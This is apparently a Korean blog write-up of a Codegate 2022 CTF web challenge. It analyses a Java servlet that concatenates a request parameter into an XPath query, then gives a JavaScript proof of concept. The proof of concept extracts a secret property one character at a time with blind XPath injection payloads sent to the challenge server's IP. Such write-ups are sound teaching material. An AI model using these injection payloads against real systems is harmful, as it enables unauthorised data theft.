티스토리 뷰
문제개요
Blind XPATH Injection
코드분석
jsp 파일에는 register, login, write, read 기능이 전부였는데, 회원가입 및 로그인 후 제목과 내용을 입력하고 글을 쓰면 /read?idx=1 URL 경로로 요청하면 글을 읽을 수 있었습니다.
그리고 /read 경로를 요청했을 때 연결되는 Servlet 으로는 blogServlet.class 가 있었는데, 디컴파일 해보면 아래와 같습니다.
private String[] doReadArticle(HttpServletRequest req) {
String id = (String) req.getSession().getAttribute("id");
String idx = req.getParameter("idx");
if ("null".equals(id) || idx == null) {
return null;
}
try {
Document document = DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(new InputSource(new FileInputStream(new File(this.tmpDir + "/article/", id + ".xml"))));
XPath xpath = XPathFactory.newInstance().newXPath();
return new String[]{decBase64(((String) xpath.evaluate("//article[@idx='" + idx + "']/title/text()", document, XPathConstants.STRING)).trim()), decBase64(((String) xpath.evaluate("//article[@idx='" + idx + "']/content/text()", document, XPathConstants.STRING)).trim())};
} catch (Exception e) {
System.out.println(e.getMessage());
return null;
}
}
파라미터로 주어진 idx 값이 xpath.evaluate 함수로 어떤 필터링도 없이 넘어가는 것을 확인할 수 있었습니다. 이로써 XPATH Injection 이 가능해짐을 알 수 있습니다.
다음으로는 Flag의 위치에 대해서 알아보겠습니다. Flag는 Dockerfile 에 정의되어 있었습니다.
RUN echo 'flag=codegate2022{md5(flag)}' >> /usr/local/tomcat/conf/catalina.properties
이로써 Flag는 catalina.properties 파일에 위치해있는 것을 알 수 있습니다.
문제 풀기 전에 앞서 Xpath 에 대해서 자세히 조사해보았습니다. 그리고 조사를 해보다가 우선 blogServlet 에서 xpath 관련 라이브러리를 import 해서 사용하고 있는 바를 참고해서 소스코드를 조사해보았습니다.
https://github.com/openjdk/jdk11/blob/master/src/java.xml/share/classes/javax/xml/xpath/XPath.java
그리고 해당 코드에서 XPath 표준 사이트에 대해서 언급하고 있고 Xpath Version 1.0 기준에 따라서 작성되어 있다고 합니다.
그리고 표준 정의서에 적힌 바로는 아래와 같았습니다.
XPath is a language for addressing parts of an XML document, designed to be used by both XSLT and XPointer.
그리고 XSLT Functions 들 중에서 신기한 함수 하나가 있었는데요.
https://www.w3.org/TR/xslt20/#function-system-property
바로 시스템 속성을 불러올 수 있는 함수가 존재했습니다.
문제풀이
아래는 PoC 입니다.
var chars = 'abcdef0123456789{}';
var flag = 'codegate2022';
var i=0;
while(1){
for(i=0; i<chars.length;i++){
var f = await fetch("http://3.39.79.180/blog/read?idx=1%27%20and%20starts-with(system-property(%27flag%27),%27"+flag+encodeURIComponent(chars[i])+"%27)%20or%20%27", {
"headers": {
"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"accept-language": "ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7",
"cache-control": "no-cache",
"pragma": "no-cache",
"upgrade-insecure-requests": "1"
},
"referrerPolicy": "strict-origin-when-cross-origin",
"body": null,
"method": "GET",
"mode": "cors",
"credentials": "include"
});
var r = await f.text();
if(r.includes('test')){
//console.log(chars[i]);
flag = flag.concat(encodeURIComponent(chars[i]));
}
}
if(chars[i] == '}') break;;
}
그리고 아래는 실행 결과입니다.
- 끝 -
'보안 > CTF' 카테고리의 다른 글
[LINECTF2022] [WEB] bb 문제풀이(writeup) (0) | 2022.03.28 |
---|---|
[Codegate2022예선] (BLOCKCHAIN) NFT 문제풀이 (0) | 2022.03.03 |
[Codegate2022예선] (WEB) BABYFIRST 문제풀이 (0) | 2022.02.28 |
[Codegate2022예선] (WEB) SUPERBEE 문제풀이 (0) | 2022.02.28 |
[Codegate2022예선] (WEB) CAFE 문제풀이 (0) | 2022.02.28 |